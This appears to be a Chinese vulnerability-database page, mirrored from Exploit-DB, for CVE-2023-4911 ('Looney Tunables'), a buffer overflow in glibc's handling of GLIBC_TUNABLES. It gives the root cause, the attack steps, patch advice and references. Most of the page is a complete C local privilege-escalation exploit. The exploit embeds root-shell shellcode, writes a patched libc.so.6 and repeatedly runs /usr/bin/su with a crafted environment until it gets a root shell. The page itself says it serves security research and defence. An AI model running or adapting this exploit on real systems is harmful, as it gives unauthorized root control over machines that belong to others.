[local] glibc 2.38 - Buffer Overflow
CVE-2023-4911
glibc动态链接器在处理GLIBC_TUNABLES环境变量时存在缓冲区溢出,可导致本地提权。
High · CVSS 7.8📋 漏洞基础信息
| CVE | CVE-2023-4911 |
|---|---|
| 漏洞类型 | 缓冲区溢出 |
| 受影响版本 | glibc 2.38及之前版本(包括2.38) |
| 危害等级 | High · CVSS 7.8 |
| 发布日期 | 2026-02-11 |
| 提交者 | Beatriz Fresno Naumova |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在glibc动态链接器(/lib64/ld-linux-x86-64.so.2)处理GLIBC_TUNABLES环境变量时,对解析后的字符串长度计算不准确,未正确处理glibc.tune.hwcaps子字符串的替换扩展,导致向栈上固定大小的缓冲区写入超长数据,触发溢出。
🎯 攻击场景
1. 攻击者在本机拥有普通用户权限;2. 构造一个恶意GLIBC_TUNABLES环境变量字符串,利用glibc.tune.hwcaps=前缀后跟超长或精心构造的hwcaps值;3. 运行任意setuid二进制文件(如/bin/su)并传入该环境变量;4. 动态链接器在处理环境变量时触发栈溢出,覆盖函数返回地址或关键数据结构;5. 成功执行shellcode,获得root shell。
💥 漏洞影响
本地权限提升(LPE),攻击者可在目标机器上从普通用户提升至root权限,完全控制系统并执行任意操作。
⚔️ 原始 PoC
原始PoC构造一个GLIBC_TUNABLES字符串,其中glibc.tune.hwcaps=后包含重复的'A'字符(或特定模式)以填充栈上缓冲区,并在溢出位置覆盖返回地址为ROP链或shellcode地址。关键步骤:1.计算所需填充字节数以达到返回地址;2. 在payload中嵌入ROP gadget地址;3. 利用setuid程序触发执行。
# Exploit Author: Beatriz Fresno Naumova
# Description:
Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow
# This is a local privilege escalation exploit for CVE-2023-4911,also known as
# "Looney Tunables",
caused by a buffer overflow in the glibc dynamic loader's
# environment variable parsing logic. The vulnerability is triggered by crafting
# a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
# allowing control over DT_RPATH and arbitrary shared object loading.
#
# This PoC creates a patched version of libc.so.6 with embedded shellcode and
# abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
# with a malicious environment.
#
#define _GNU_SOURCE
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>
#include <unistd.h>#include <errno.h>#include <fcntl.h>#include <time.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/resource.h>#include <sys/wait.h>#include <elf.h>#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600
#define MAX_ENVP 0x1000
// shellcode generado con pwntools
const unsigned char shellcode[] = {0x48,0x31,0xff,
// xor rdi,rdi
0x6a,0x69,// push 0x69 ;syscall setuid
0x58,// pop rax
0x0f,0x05,// syscall
0x48,0x31,0xff,// xor rdi,rdi
0x6a,0x6a,// push 0x6a ;syscall setgid
0x58,// pop rax
0x0f,0x05,// syscall
0x48,0x31,0xd2,// xor rdx,rdx
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,// mov rbx,"/bin/sh"
0x53,// push rbx
0x48,0x89,0xe7,// mov rdi,rsp
0x50,// push rax
0x57,// push rdi
0x48,0x89,0xe6,
// mov rsi,rsp
0xb0,0x3b,// mov al,0x3b
0x0f,0x05 // syscall
};int64_t time_us() {struct timespec tms;if (clock_gettime(CLOCK_REALTIME,&tms)) return -1;int64_t micros = tms.tv_sec * 1000000;micros += tms.tv_nsec / 1000;if (tms.tv_nsec % 1000 >= 500) ++micros;return micros;}void patch_libc() {FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6","rb");if (!f) {perror("fopen");exit(1);}fseek(f,0,
SEEK_END);long size = ftell(f);rewind(f);unsigned char *data = malloc(size);if (fread(data,1,size,f) != size) {perror("fread");exit(1);}fclose(f);Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);Elf64_Sym *symtab = NULL;char *strtab = NULL;for (int i = 0;i <ehdr->e_shnum;++i) {if (shdr[i].sh_type == SHT_SYMTAB) {
symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);break;}}if (!symtab ||!strtab) {fprintf(stderr,"[-] Failed to find symtab\n");exit(1);}Elf64_Addr target_addr = 0;for (int i = 0;i <shdr->sh_size / sizeof(Elf64_Sym);++i) {if (strcmp(&strtab[symtab[i].st_name],"__libc_start_main") == 0) {target_addr = symtab[i].st_value;break;}}
if (!target_addr) {fprintf(stderr,"[-] Could not find __libc_start_main\n");exit(1);}// patch shellcode at the symbol location
memcpy(data + target_addr,shellcode,sizeof(shellcode));f = fopen("./libc.so.6","wb");if (!f) {perror("fopen (write)");exit(1);}fwrite(data,1,size,f);fclose(f);free(data);printf("[+] Patched libc.so.6 written.\n");}int main(void) {char filler[FILL_SIZE],kv[BOF_SIZE],
filler2[BOF_SIZE + 0x20],dt_rpath[0x20000];char *argv[] = {"/usr/bin/su","--help",NULL};char *envp[MAX_ENVP] = {NULL };// Create directory and patched libc if not present
if (mkdir("\"",0755) == 0) {patch_libc();int sfd = open("./libc.so.6",O_RDONLY);int dfd = open("\"/libc.so.6",O_CREAT |O_WRONLY,0755);char buf[0x1000];int len;while ((len = read(sfd,buf,sizeof(buf))) >0) {write(dfd,buf,len);}
close(sfd);close(dfd);}memset(filler,'F',sizeof(filler));filler[sizeof(filler)-1] = '\0';strcpy(filler,"GLIBC_TUNABLES=glibc.malloc.mxfast=");memset(kv,'A',sizeof(kv));kv[sizeof(kv)-1] = '\0';strcpy(kv,"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");memset(filler2,'F',sizeof(filler2));filler2[sizeof(filler2)-1] = '\0';strcpy(filler2,"GLIBC_TUNABLES=glibc.malloc.mxfast=");for (int i = 0;
i <MAX_ENVP;i++) envp[i] = "";envp[0] = filler;envp[1] = kv;envp[0x65] = "";envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";envp[0xf7f] = filler2;for (int i = 0;i <sizeof(dt_rpath);i += 8) {*(uintptr_t *)(dt_rpath + i) = -0x14ULL;}dt_rpath[sizeof(dt_rpath) - 1] = '\0';for (int i = 0;i <0x2f;i++) {envp[0xf80 + i] = dt_rpath;}envp[0xffe] = "AAAA";setrlimit(RLIMIT_STACK,
&(struct rlimit){RLIM_INFINITY,RLIM_INFINITY});int pid;for (int ct = 1;;ct++) {if (ct % 100 == 0) printf("try %d\n",ct);if ((pid = fork()) <0) {perror("fork");break;}else if (pid == 0) {execve(argv[0],argv,envp);perror("execve (child)");exit(1);}else {int wstatus;int64_t st = time_us(),en;wait(&wstatus);en = time_us();if (!WIFSIGNALED(wstatus) &&en - st >1000000) {
printf("[+] Exploit likely succeeded!\n");break;}}}return 0;}🛡️ 修复建议
升级glibc至2.39或包含补丁的版本。临时缓解措施:在未修补的环境中,对于setuid程序可过滤或限制GLIBC_TUNABLES环境变量的传递(如通过security policy)。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2023-4911
- https://sourceware.org/bugzilla/show_bug.cgi?id=30842
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:42 | 来源: Exploit-DB